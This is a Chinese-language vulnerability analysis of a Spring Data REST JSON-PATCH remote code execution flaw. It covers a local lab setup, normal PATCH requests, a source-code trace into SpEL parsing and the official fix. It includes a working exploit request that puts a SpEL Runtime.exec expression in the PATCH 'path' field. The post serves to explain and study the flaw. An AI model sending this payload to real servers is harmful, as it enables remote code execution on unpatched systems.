Spring Data REST的目的是消除CURD的模板代码,减少程序员的刻板的重复劳动,但实际上并没有很多人使用。很少有请求直接操作数据库的场景,至少也要做权限校验等操作。而Spring Data REST允许请求直接操作数据库,中间没有任何的业务逻辑
漏洞的原因是对PATCH方法处理不当,导致攻击者能够利用JSON数据造成RCE。本质还是因为Spring的SPEL解析导致的RCE,大部分Spring框架的RCE都是源于此
使用Spring官方教程:https://github.com/spring-guides/gs-accessing-data-rest.git 下载后包含多个模块,使用其中的complete项目,导入IDEA后发现是SpringBoot项目
官方不可能在教程中采用存在漏洞的代码,所以我们需要手动将pom依赖文件中SpringBoot的版本修改为存在漏洞的版本。SpringBoot是一个父依赖,其中包含spring-data-rest-webmvc这个核心组件
xxxxxxxxxx<parent> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-parent</artifactId> <version>1.5.6.RELEASE</version></parent>启动项目比较简单,直接运行AccessingDataRestApplication类。如果有报错,应该是junit的问题,删除src/test/java下的文件即可解决。访问localhost:8080返回如下
xxxxxxxxxx{ "_links" : { "people" : { "href" : "http://localhost:8080/people{?page,size,sort}", "templated" : true }, "profile" : { "href" : "http://localhost:8080/profile" } }}首先应该讲一下什么是PATCH,准确一点来说是JSON-PATCH。字面意思是补丁,实际意义也是补丁。主要功能是做修补,按照JSON-PATCH官方的定义:
xxxxxxxxxx{ "baz": "qux", "foo": "bar"}发送这样的PATCH请求:
xxxxxxxxxx[ { "op": "replace", "path": "/baz", "value": "boo" }, { "op": "add", "path": "/hello", "value": ["world"] }, { "op": "remove", "path": "/foo" }]一开始的数据就会变成:
xxxxxxxxxx{ "baz": "boo", "hello": ["world"]}可以这样简单理解:op是一种操作标识,比如增删改查;path是修改的key,value是修改的value
使用POST的方式为系统新增一个用户:
xxxxxxxxxxPOST /people HTTP/1.1Host: localhost:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type:application/jsonContent-Length: 38
{"firstName":"san","lastName":"zhang"}返回如下:
xxxxxxxxxxHTTP/1.1 201 Location: http://localhost:8080/people/1Content-Type: application/hal+json;charset=UTF-8Date: Thu, 22 Apr 2021 08:05:46 GMTConnection: closeContent-Length: 221
{ "firstName" : "san", "lastName" : "zhang", "_links" : { "self" : { "href" : "http://localhost:8080/people/1" }, "person" : { "href" : "http://localhost:8080/people/1" } }}返回说明创建这个人成功,接下来我们需要使用PATCH请求对这个人的信息做更改
xxxxxxxxxxPATCH /people/1 HTTP/1.1Host: localhost:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type:application/json-patch+jsonContent-Length: 57
[{ "op": "replace", "path": "/lastName", "value": "li" }]成功修改了名字:
xxxxxxxxxxHTTP/1.1 200 Content-Type: application/hal+json;charset=UTF-8Date: Thu, 22 Apr 2021 08:08:57 GMTConnection: closeContent-Length: 218
{ "firstName" : "san", "lastName" : "li", "_links" : { "self" : { "href" : "http://localhost:8080/people/1" }, "person" : { "href" : "http://localhost:8080/people/1" } }}漏洞存在于这个PATCH请求的path参数,我们将它修改为恶意代码,造成RCE:
xxxxxxxxxxPATCH /people/1 HTTP/1.1Host: localhost:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type:application/json-patch+jsonContent-Length: 169
[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{99, 97, 108, 99, 46, 101, 120, 101}))/lastName", "value": "hacker" }]从处理JSON的地方开始分析:org.springframework.data.rest.webmvc.config.JsonPatchHandler:apply()
xxxxxxxxxxif (request.isJsonPatchRequest()) { return applyPatch(request.getBody(), target);} else { return applyMergePatch(request.getBody(), target);}判断是否是JSON-PATCH请求,如果是那么调用applyPatch方法,并传入请求的body。关于isJsonPatchRequest的内容,判断了请求方法和请求头:
xxxxxxxxxxpublic boolean isJsonPatchRequest() { return isPatchRequest() && RestMediaTypes.JSON_PATCH_JSON.isCompatibleWith(contentType);}......public boolean isPatchRequest() { return request.getMethod().equals(HttpMethod.PATCH);}关于applyPatch,看命名猜测是获得其中所有的op操作
xxxxxxxxxx<T> T applyPatch(InputStream source, T target) throws Exception { return getPatchOperations(source).apply(target, (Class<T>) target.getClass());}private Patch getPatchOperations(InputStream source) {
try { return new JsonPatchPatchConverter(mapper).convert(mapper.readTree(source)); } catch (Exception o_O) { throw new HttpMessageNotReadableException( String.format("Could not read PATCH operations! Expected %s!", RestMediaTypes.JSON_PATCH_JSON), o_O); }}重点关注其中的convert方法,因为传入了请求body的流,也就是包含payload的部分。代码稍复杂,不过可以看出没有对path做多余的判断,直接读取后封装到Patch中返回出去。这里可以下断点具体观察,读入了path中的payload
xxxxxxxxxxpublic Patch convert(JsonNode jsonNode) { ...... ArrayNode opNodes = (ArrayNode) jsonNode; List<PatchOperation> ops = new ArrayList<PatchOperation>(opNodes.size()); ...... String path = opNode.get("path").textValue(); ...... ops.add(new ReplaceOperation(path, value)); ...... return new Patch(ops);}这里初始化Patch的方法传入了一个ops,找到Patch的构造方法,发现ops是PatchOperation的List,找到PatchOperation的构造
xxxxxxxxxxpublic Patch(List<PatchOperation> operations) { this.operations = operations;}public PatchOperation(String op, String path, Object value) {
this.op = op; this.path = path; this.value = value; this.spelExpression = pathToExpression(path);}发现一处有趣的地方:spel。Spring表达式,也是大部分SpringRCE的本质原因
xxxxxxxxxxpublic static Expression pathToExpression(String path) { return SPEL_EXPRESSION_PARSER.parseExpression(pathToSpEL(path));} private static String pathToSpEL(String path) { return pathNodesToSpEL(path.split("\\/")); }发现这里对path分割后,pathNodesToSpEL方法做了简单的字符串重组,组成spel表达式字符串,没有做任何的校验。这里一层一层地传上去,到了convert方法的ops.add方法。PatchOperation类是一个抽象类,需要有具体的类继承,由于我们传入的op是replace,所以继承的类是ReplaceOperation
回到最上面apply方法
xxxxxxxxxx <T> T applyPatch(InputStream source, T target) throws Exception { return getPatchOperations(source).apply(target, (Class<T>) target.getClass()); }public <T> T apply(T in, Class<T> type) throws PatchException { for (PatchOperation operation : operations) { operation.perform(in, type); } return in;}这里传入的PatchOperation其实是子类ReplaceOperation,看下它的perform方法
xxxxxxxxxx<T> void perform(Object target, Class<T> type) { setValueOnTarget(target, evaluateValueFromTarget(target, type));}protected void setValueOnTarget(Object target, Object value) { spelExpression.setValue(target, value);}到这里就可以结束了,payload成功传入spel的setValue方法,造成RCE
官方修复方案:https://github.com/spring-projects/spring-data-rest/commit/8f269e28fe8038a6c60f31a1c36cfda04795ab45
xxxxxxxxxxString pathSource = Arrays.stream(path.split("/"))// .filter(it -> !it.matches("\\d")) // no digits .filter(it -> !it.equals("-")) // no "last element"s .filter(it -> !it.isEmpty()) // .collect(Collectors.joining("."));解决代码如上,比如it.matches("\d")这一步,不允许存在数字,导致上面的payload失效